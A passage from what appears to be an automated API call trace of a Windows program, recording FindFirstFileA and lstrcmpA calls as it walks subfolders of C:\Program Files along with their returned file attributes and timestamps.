cAlternateFileName="")) returned 0x502518 [0067.119] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0067.119] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0067.121] FindFirstFileA (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x4fa55c, cFileName=".", cAlternateFileName="")) returned 0x502558 [0067.121] FindFirstFileA (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x502598 [0067.122] FindFirstFileA (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x974da2e9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x974da2e9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7080, dwReserved1=0x4f707b, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0067.126] FindFirstFileA (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4ff596, cFileName=".", cAlternateFileName="")) returned 0x502618 [0067.130] FindFirstFileA (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x780074, dwReserved1=0x74, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0067.138] FindFirstFileA (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803d8e97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803d8e97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4ff596, cFileName=".", cAlternateFileName="")) returned 0x502618 [0067.143] FindFirstFileA (in: lpFileName="C:\\Program Files\\Uninstall Information\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xde35ec60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xde35ec60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0067.146] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Defender\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdc316200, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdc316200, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0067.146] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Defender\\en-US\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23376857, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f94d8, dwReserved1=0x4f94d3, cFileName=".", cAlternateFileName="")) returned 0x502558 [0067.150] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Journal\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xde338b00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xde338b00, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0067.150] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Journal\\en-US\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f94d8, dwReserved1=0x4f94d3, cFileName=".", cAlternateFileName="")) returned 0x502558 [0067.172] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x4f1282, cFileName=".", cAlternateFileName="")) returned 0x502558 [0067.262] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Mail\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdc4df280, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdc4df280, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0067.264] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Mail\\en-US\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x4fa54c, cFileName=".", cAlternateFileName="")) returned 0x502558 [0067.267] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Media Player\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdc3d48e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdc3d48e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0067.267] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Media Player\\en-US\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21ccca7f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f94d8, dwReserved1=0x4f94d3, cFileName=".", cAlternateFileName="")) returned 0x502558 [0067.357] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Media Player\\Icons\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502558 [0067.357] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80471418, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80471418, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502558 [0067.399] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8044b2b8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8044b2b8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4fa55c, cFileName=".", cAlternateFileName="")) returned 0x502558 [0067.408] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Media Player\\Skins\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9874cd8b, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9874cd8b, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x4fa55c, cFileName=".", cAlternateFileName="")) returned 0x502558 [0067.410] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Media Player\\Visualizations\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502558 [0067.411] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows NT\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdc52b540, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdc52b540, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0067.411] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows NT\\Accessories\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f94d8, dwReserved1=0x4f94d3, cFileName=".", cAlternateFileName="")) returned 0x502558 [0067.411] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows NT\\Accessories\\en-US\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x502598 [0067.416] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502558 [0067.416] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\en-US\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x502598 [0067.428] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdc492fc0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdc492fc0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0067.429] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22cc0dd2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4fa55c, cFileName=".", cAlternateFileName="")) returned 0x502558 [0067.432] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Portable Devices\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdc52b540, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdc52b540, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0067.435] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdc3faa40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdc3faa40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0067.437] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\en-US\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x237a3493, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f1282, cFileName=".", cAlternateFileName="")) returned 0x502558 [0067.439] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa1afe884, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502558 [0067.441] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x502598 [0067.447] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f812a, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0067.465] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4ff596, cFileName=".", cAlternateFileName="")) returned 0x502618 [0067.467] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4ff596, cFileName=".", cAlternateFileName="")) returned 0x502618 [0067.471] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4f812a, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0067.498] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0067.502] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f8124, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0067.507] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4ff590, cFileName=".", cAlternateFileName="")) returned 0x502618 [0067.510] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4ff590, cFileName=".", cAlternateFileName="")) returned 0x502618 [0067.512] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805c807b, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805c807b, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4f8124, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0067.556] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0067.560] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: 